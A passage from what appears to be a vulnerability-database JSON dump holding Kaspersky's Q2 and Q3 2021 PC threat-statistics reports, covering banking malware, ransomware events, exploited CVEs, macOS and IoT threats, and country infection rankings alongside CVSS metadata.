14.70 \n11 | Russia | 14.54 \n12 | Yemen | 14.38 \n13 | Tunisia | 13.40 \n14 | Estonia | 13.36 \n15 | Latvia | 13.23 \n16 | Libya | 13.04 \n17 | Armenia | 12.95 \n18 | Morocco | 12.39 \n19 | Saudi Arabia | 12.16 \n20 | Macao | 11.67 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average during the quarter, 9.43% of computers of Internet users worldwide were subjected to at least one **Malware-class** web attack.\n\n_Geography of web-based malware attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141830/14-en-malware-report-q2-2021-graphs-pc.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q2 2021, our File Anti-Virus detected **68,294,298** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Turkmenistan | 49.38 \n2 | Tajikistan | 48.11 \n3 | Afghanistan | 46.52 \n4 | Uzbekistan | 44.21 \n5 | Ethiopia | 43.69 \n6 | Yemen | 43.64 \n7 | Cuba | 38.71 \n8 | Myanmar | 36.12 \n9 | Syria | 35.87 \n10 | South Sudan | 35.22 \n11 | China | 35.14 \n12 | Kyrgyzstan | 34.91 \n13 | Bangladesh | 34.63 \n14 | Venezuela | 34.15 \n15 | Benin | 32.94 \n16 | Algeria | 32.83 \n17 | Iraq | 32.55 \n18 | Madagascar | 31.68 \n19 | Mauritania | 31.60 \n20 | Belarus | 31.38 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141906/15-en-malware-report-q2-2021-graphs-pc.png>))_\n\nOn average worldwide, **Malware-class** local threats were recorded on 15.56% of users' computers at least once during the quarter. Russia scored 17.52% in this rating.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-08-12T10:00:12", "type": "securelist", "title": "IT threat evolution in Q2 2021. PC statistics", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2018-0802", "CVE-2020-1472", "CVE-2021-1675", "CVE-2021-21220", "CVE-2021-28310", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-31166", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-33742", "CVE-2021-34527"], "modified": "2021-08-12T10:00:12", "id": "SECURELIST:BB0230F9CE86B3F1994060AA0A809C08", "href": "https://securelist.com/it-threat-evolution-in-q2-2021-pc-statistics/103607/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-26T12:37:38", "description": "\n\n * [IT threat evolution Q3 2021](<https://securelist.com/it-threat-evolution-q3-2021/104876/>)\n * **IT threat evolution in Q3 2021. PC statistics**\n * [IT threat evolution in Q3 2021. Mobile statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-mobile-statistics/105020/>)\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q3 2021:\n\n * Kaspersky solutions blocked 1,098,968,315 attacks from online resources across the globe.\n * Web Anti-Virus recognized 289,196,912 unique URLs as malicious.\n * Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 104,257 unique users.\n * Ransomware attacks were defeated on the computers of 108,323 unique users.\n * Our File Anti-Virus detected 62,577,326 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q3 2021, Kaspersky solutions blocked the launch of at least one piece of banking malware on the computers of 104,257 unique users.\n\n_Number of unique users attacked by financial malware, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150303/01-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Geography of financial malware attacks**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150355/02-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 5.4 \n2 | Tajikistan | 3.7 \n3 | Afghanistan | 3.5 \n4 | Uzbekistan | 3.0 \n5 | Yemen | 1.9 \n6 | Kazakhstan | 1.6 \n7 | Paraguay | 1.6 \n8 | Sudan | 1.6 \n9 | Zimbabwe | 1.4 \n10 | Belarus | 1.1 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 17.7 \n2 | SpyEye | Trojan-Spy.Win32.SpyEye | 17.5 \n3 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 9.6 \n4 | Trickster | Trojan.Win32.Trickster | 4.5 \n5 | RTM | Trojan-Banker.Win32.RTM | 3.6 \n6 | Nimnul | Virus.Win32.Nimnul | 3.0 \n7 | Gozi | Trojan-Banker.Win32.Gozi | 2.7 \n8 | Danabot | Trojan-Banker.Win32.Danabot | 2.4 \n9 | Tinba | Trojan-Banker.Win32.Tinba | 1.5 \n10 | Cridex | Backdoor.Win32.Cridex | 1.3 \n \n_* Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\nIn Q3, the family ZeuS/Zbot (17.7%), as usual, became the most widespread family of bankers. Next came the SpyEye (17.5%) family, whose share doubled from 8.8% in the previous quarter. The Top 3 was rounded out by the CliptoShuffler family (9.6%) \u2014 one position and just 0.3 p.p. down. The families Trojan-Banker.Win32.Gozi (2.7%) and Trojan-Banker.Win32.Tinba (1.5%) have made it back into the Top 10 in Q3 \u2014 seventh and ninth places, respectively.\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n#### Attack on Kaseya and the REvil story\n\nIn early July, the group REvil/Sodinokibi [attempted an attack](<https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/>) on the remote administration software Kaseya VSA, compromising several managed services providers (MSP) who used this system. Thanks to this onslaught on the supply chain, the attackers were able to infect over one thousand of the compromised MSPs' client businesses. REvil's original $70 million ransom demand in exchange for decryption of all the users hit by the attack was soon moderated to 50 million.\n\nFollowing this massive attack, law enforcement agencies stepped up their attention to REvil, so by mid-July the gang turned off their Trojan infrastructure, suspended new infections and dropped out of sight. Meanwhile, Kaseya got a universal decryptor for all those affected by the attack. [According to](<https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-August-4th-2021>) Kaseya, it "did not pay a ransom \u2014 either directly or indirectly through a third party". Later [it emerged](<https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html>) that the company got the decryptor and the key from the FBI.\n\nBut already in the first half of September, REvil was up and running again. [According to](<https://www.bleepingcomputer.com/news/security/revil-ransomware-is-back-in-full-attack-mode-and-leaking-data/>) the hacking forum XSS, the group's former public representative known as UNKN "disappeared", and the malware developers, failing to find him, waited awhile and restored the Trojan infrastructure from backups.\n\n#### The arrival of BlackMatter: DarkSide restored?\n\nAs we already wrote in our Q2 report, the group DarkSide folded its operations after their "too high-profile" attack on Colonial Pipeline. And now there is a "new" arrival known as BlackMatter, which, as its members [claim](<https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil>), represents the "best" of DarkSide, REvil and LockBit.\n\nFrom our analysis of the BlackMatter Trojan's executable we conclude that most likely it was built using DarkSide's source codes.\n\n#### Q3 closures\n\n * Europol and the Ukrainian police have [arrested](<https://www.europol.europa.eu/newsroom/news/ransomware-gang-arrested-in-ukraine-europol's-support>) two members of an unnamed ransomware gang. The only detail made known is that the ransom demands amounted to \u20ac5 to \u20ac70 million.\n * Following its attack on Washington DC's Metropolitan Police Department, the group Babuk folded (or just suspended) its operations and published an archive containing the Trojan's source code, build tools and keys for some of the victims.\n * At the end of August, Ragnarok (not to be confused with RagnarLocker) suddenly called it a day, deleted all their victims' info from their portal and published the master key for decryption. The group gave no reasons for this course of action.\n\n#### Exploitation of vulnerabilities and new attack methods\n\n * The group HelloKitty used to distribute its ransomware by exploiting the vulnerability CVE-2019-7481 in SonicWall gateways.\n * Magniber and Vice Society penetrated the target systems by exploiting the vulnerabilities from the PrintNightmare family (CVE-2021-1675, CVE-2021-34527, CVE-2021-36958).\n * The group LockFile exploited ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) to penetrate the victim's network; for lateral expansion they relied on the new PetitPotam attack that gained control of the domain controller.\n * The group Conti also used ProxyShell exploits for its attacks.\n\n### Number of new ransomware modifications\n\nIn Q3 2021, we detected 11 new ransomware families and 2,486 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q3 2020 \u2014 Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150433/03-en-ru-es-malware-report-q3-2021-pc-graphs.png>))_\n\n## Number of users attacked by ransomware Trojans\n\nIn Q3 2021, Kaspersky products and technologies protected 108,323 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150459/04-en-malware-report-q3-2021-pc-graphs.png>))_\n\n## Geography of ransomware attacks\n\n_Geography of attacks by ransomware Trojans, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150535/05-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 1.98 \n2 | Uzbekistan | 0.59 \n3 | Bolivia | 0.55 \n4 | Pakistan | 0.52 \n5 | Myanmar | 0.51 \n6 | China | 0.51 \n7 | Mozambique | 0.51 \n8 | Nepal | 0.48 \n9 | Indonesia | 0.47 \n10 | Egypt | 0.45 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000). \n** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n## Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | Stop/Djvu | Trojan-Ransom.Win32.Stop | 27.67% \n2 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 17.37% \n3 | WannaCry | Trojan-Ransom.Win32.Wanna | 11.84% \n4 | (generic verdict) | Trojan-Ransom.Win32.Gen | 7.78% \n5 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 5.58% \n6 | (generic verdict) | Trojan-Ransom.Win32.Phny | 5.57% \n7 | PolyRansom/VirLock | Virus.Win32.Polyransom / Trojan-Ransom.Win32.PolyRansom | 2.65% \n8 | (generic verdict) | Trojan-Ransom.Win32.Agent | 2.04% \n9 | (generic verdict) | Trojan-Ransom.MSIL.Encoder | 1.07% \n10 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 1.04% \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new miner modifications\n\nIn Q3 2021, Kaspersky solutions detected 46,097 new modifications of miners.\n\n_Number of new miner modifications, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150605/06-en-malware-report-q3-2021-pc-graphs.png>))_\n\n### Number of users attacked by miners\n\nIn Q3, we detected attacks using miners on the computers of 322,131 unique users of Kaspersky products worldwide. And while during Q2 the number of attacked users gradually decreased, the trend was reversed in July and August 2021. With slightly over 140,000 unique users attacked by miners in July, the number of potential victims almost reached 150,000 in September.\n\n_Number of unique users attacked by miners, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150635/07-en-malware-report-q3-2021-pc-graphs.png>))_\n\n### Geography of miner attacks\n\n_Geography of miner attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150710/08-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Ethiopia | 2.41 \n2 | Rwanda | 2.26 \n3 | Myanmar | 2.22 \n4 | Uzbekistan | 1.61 \n5 | Ecuador | 1.47 \n6 | Pakistan | 1.43 \n7 | Tanzania | 1.40 \n8 | Mozambique | 1.34 \n9 | Kazakhstan | 1.34 \n10 | Azerbaijan | 1.27 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000). \n** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\n### Quarter highlights\n\nMuch clamor was caused in Q3 by a whole new family of vulnerabilities in Microsoft Windows printing subsystem, one already known to the media as PrintNightmare: [CVE-2021-1640](<https://nvd.nist.gov/vuln/detail/CVE-2021-1640>), [CVE-2021-26878](<https://nvd.nist.gov/vuln/detail/CVE-2021-26878>), [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), [CVE-2021-36936](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36936>), [CVE-2021-36947](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36947>), [CVE-2021-34483](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>). All those vulnerabilities allow for local escalation of privileges or remote execution of commands with system rights and, as they require next to nothing for exploitation, they are often used by popular mass infection tools. To fix them, several Microsoft patches are required.\n\nThe vulnerability known as PetitPotam proved no less troublesome. It allows an unprivileged user to take control of a Windows domain computer \u2014 or even a domain controller \u2014 provided the Active Directory certificate service is present and active.\n\nIn the newest OS Windows 11, even before its official release, the vulnerability [CVE-2021-36934](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>) was detected and dubbed HiveNightmare/SeriousSam. It allows an unprivileged user to copy all the registry threads, including SAM, through the shadow copy mechanism, potentially exposing passwords and other critical data.\n\nIn Q3, attackers greatly favored exploits targeting the vulnerabilities ProxyToken, ProxyShell and ProxyOracle ([CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), [CVE-2021-33766](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766>), [CVE-2021-31195](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195>), [CVE-2021-31196](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196>)). If exploited in combination, these open full control of mail servers managed by Microsoft Exchange Server. We already covered [similar vulnerabilities](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) \u2014 for instance, they were used in a HAFNIUM attack, also targeting Microsoft Exchange Server.\n\nAs before, server attacks relying on brute-forcing of passwords to various network services, such as MS SQL, RDP, etc., stand out among Q3 2021 network threats. Attacks using the exploits EternalBlue, EternalRomance and similar are as popular as ever. Among the new ones is the grim vulnerability enabling remote code execution when processing the Object-Graph Navigation Language in the product Atlassian Confluence Server ([CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>)) often used in various corporate environments. Also, Pulse Connect Secure was found to contain the vulnerability [CVE-2021-22937](<https://nvd.nist.gov/vuln/detail/CVE-2021-22937>), which however requires the administrator password for it to be exploited.\n\n### Statistics\n\nAs before, exploits for Microsoft Office vulnerabilities are still leading the pack in Q3 2021 (60,68%). These are popular due to the large body of users, most of whom still use older versions of the software, thus making the attackers' job much easier. The share of Microsoft Office exploits increased by almost 5 p.p. from the previous quarter. Among other things, it was due to the fact that the new vulnerability [CVE-2021-40444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444>) was discovered in the wild, instantly employed to compromise user machines. The attacker can exploit it by using the standard functionality that allows office documents to download templates, implemented with the help of special ActiveX components. There is no proper validation of the processed data during the operation, so any malicious code can be downloaded. As you are reading this, the relevant security update is already available.\n\nThe way individual Microsoft Office vulnerabilities are ranked by the number of detections does not change much with time: the first positions are still shared by [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>) and [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>), with another popular vulnerability [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>) not far behind. We already covered these many times \u2014 all the above-mentioned vulnerabilities execute commands on behalf of the user and infect the system.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151038/09-en-malware-report-q3-2021-pc-graphs.png>))_\n\nThe share of exploits for the popular browsers fell by 3 p.p. from the previous reporting period to 25.57% in Q3. In the three months covered by the report several vulnerabilities were discovered in Google Chrome browser and its script engine V8 \u2014 some of them in the wild. Among these, the following JavaScript engine vulnerabilities stand out: [CVE-2021-30563](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>) (type confusion error corrupting the heap memory), [CVE-2021-30632](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) (out-of-bounds write in V8) and [CVE-2021-30633](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) (use-after-free in Indexed DB). All these can potentially allow remote execution of code. But it should be remembered that for modern browsers a chain of several exploits is often required to leave the sandbox and secure broader privileges in the system. It should also be noted that with Google Chromium codebase (in particular the Blink component and V8) being used in many browsers, any newly detected Google Chrome vulnerability automatically makes other browsers built with its open codebase vulnerable.\n\nThe third place if held by Google Android vulnerabilities (5.36%) \u2014 1 p.p. down from the previous period. They are followed by exploits for Adobe Flash (3.41%), their share gradually decreasing. The platform is no longer supported but is still favored by users, which is reflected in our statistics.\n\nOur ranking is rounded out by vulnerabilities for Java (2.98%), its share also noticeably lower, and Adobe PDF (1.98%).\n\n## Attacks on macOS\n\nWe will remember Q3 2021 for the two interesting revelations. The first one is the use of [malware code targeting macOS](<https://securelist.com/wildpressure-targets-macos/103072/>) as part of the WildPressure campaign. The second is the detailed [review of the previously unknown FinSpy implants](<https://securelist.com/finspy-unseen-findings/104322/>) for macOS.\n\nSpeaking of the most widespread threats detected by Kaspersky security solutions for macOS, most of our Top 20 ranking positions are occupied by various adware apps. Among the noteworthy ones is Monitor.OSX.HistGrabber.b (second place on the list) \u2014 this potentially unwanted software sends user browser history to its owners' servers.\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.j | 13.22 \n2 | Monitor.OSX.HistGrabber.b | 11.19 \n3 | AdWare.OSX.Pirrit.ac | 10.31 \n4 | AdWare.OSX.Pirrit.o | 9.32 \n5 | AdWare.OSX.Bnodlero.at | 7.43 \n6 | Trojan-Downloader.OSX.Shlayer.a | 7.22 \n7 | AdWare.OSX.Pirrit.gen | 6.41 \n8 | AdWare.OSX.Cimpli.m | 6.29 \n9 | AdWare.OSX.Bnodlero.bg | 6.13 \n10 | AdWare.OSX.Pirrit.ae | 5.96 \n11 | AdWare.OSX.Agent.gen | 5.65 \n12 | AdWare.OSX.Pirrit.aa | 5.39 \n13 | Trojan-Downloader.OSX.Agent.h | 4.49 \n14 | AdWare.OSX.Bnodlero.ay | 4.18 \n15 | AdWare.OSX.Ketin.gen | 3.56 \n16 | AdWare.OSX.Ketin.h | 3.46 \n17 | Backdoor.OSX.Agent.z | 3.45 \n18 | Trojan-Downloader.OSX.Lador.a | 3.06 \n19 | AdWare.OSX.Bnodlero.t | 2.80 \n20 | AdWare.OSX.Bnodlero.ax | 2.64 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\n### Geography of threats for macOS\n\n_Geography of threats for macOS, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151108/10-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | France | 3.05 \n2 | Spain | 2.85 \n3 | India | 2.70 \n4 | Mexico | 2.59 \n5 | Canada | 2.52 \n6 | Italy | 2.42 \n7 | United States | 2.37 \n8 | Australia | 2.23 \n9 | Brazil | 2.21 \n10 | United Kingdom | 2.12 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000). \n** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q3 2021, France took the lead having the greatest percentage of attacks on users of Kaspersky security solutions (3.05%), with the potentially unwanted software Monitor.OSX.HistGrabber being the prevalent threat there. Spain and India came in second and third, with the Pirrit family adware as their prevalent threat.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q3 2021, most of the devices that attacked Kaspersky honeypots did so using the Telnet protocol. Just less than a quarter of all devices attempted brute-forcing our traps via SSH.\n\nTelnet | 76.55% \n---|--- \nSSH | 23.45% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q3 2021_\n\nThe statistics for working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 84.29% \n---|--- \nSSH | 15.71% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q3 2021_\n\n**Top 10 threats delivered to IoT devices via Telnet**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 39.48 \n2 | Trojan-Downloader.Linux.NyaDrop.b | 20.67 \n3 | Backdoor.Linux.Agent.bc | 10.00 \n4 | Backdoor.Linux.Mirai.ba | 8.65 \n5 | Trojan-Downloader.Shell.Agent.p | 3.50 \n6 | Backdoor.Linux.Gafgyt.a | 2.52 \n7 | RiskTool.Linux.BitCoinMiner.b | 1.69 \n8 | Backdoor.Linux.Ssh.a | 1.23 \n9 | Backdoor.Linux.Mirai.ad | 1.20 \n10 | HackTool.Linux.Sshbru.s | 1.12 \n \n_* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats._\n\nDetailed IoT threat statistics are published in our Q3 2021 DDoS report: <https://securelist.com/ddos-attacks-in-q3-2021/104796/#attacks-on-iot-honeypots>\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that serve as sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted._\n\nIn Q3 2021, Kaspersky solutions blocked 1,098,968,315 attacks launched from online resources located across the globe. Web Anti-Virus recognized 289,196,912 unique URLs as malicious.\n\n_Distribution of web-attack sources by country, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151328/13-en-malware-report-q3-2021-pc-graphs-1.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| **Country*** | **% of attacked users**** \n---|---|--- \n1 | Tunisia | 27.15 \n2 | Syria | 17.19 \n3 | Yemen | 17.05 \n4 | Nepal | 15.27 \n5 | Algeria | 15.27 \n6 | Macao | 14.83 \n7 | Belarus | 14.50 \n8 | Moldova | 13.91 \n9 | Madagascar | 13.80 \n10 | Serbia | 13.48 \n11 | Libya | 13.13 \n12 | Mauritania | 13.06 \n13 | Mongolia | 13.06 \n14 | India | 12.89 \n15 | Palestine | 12.79 \n16 | Sri Lanka | 12.76 \n17 | Ukraine | 12.39 \n18 | Estonia | 11.61 \n19 | Tajikistan | 11.44 \n20 | Qatar | 11.14 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average during the quarter, 8.72% of computers of Internet users worldwide were subjected to at least one **Malware-class** web attack.\n\n_Geography of web-based malware attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151358/14-en-malware-report-q3-2021-pc-graphs.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q3 2021, our File Anti-Virus detected **62,577,326** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| **Country*** | **% of attacked users**** \n---|---|--- \n1 | Turkmenistan | 47.42 \n2 | Yemen | 44.27 \n3 | Ethiopia | 42.57 \n4 | Tajikistan | 42.51 \n5 | Uzbekistan | 40.41 \n6 | South Sudan | 40.15 \n7 | Afghanistan | 40.07 \n8 | Cuba | 38.20 \n9 | Bangladesh | 36.49 \n10 | Myanmar | 35.96 \n11 | Venezuela | 35.20 \n12 | China | 35.16 \n13 | Syria | 34.64 \n14 | Madagascar | 33.49 \n15 | Rwanda | 33.06 \n16 | Sudan | 33.01 \n17 | Benin | 32.68 \n18 | Burundi | 31.88 \n19 | Laos | 31.70 \n20 | Cameroon | 31.28 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151433/15-en-malware-report-q3-2021-pc-graphs.png>))_\n\nOn average worldwide, **Malware-class** local threats were recorded on 15.14% of users' computers at least once during the quarter. Russia scored 14.64% in this rating.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-26T12:00:36", "type": "securelist", "title": "IT threat evolution in Q3 2021. PC statistics", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 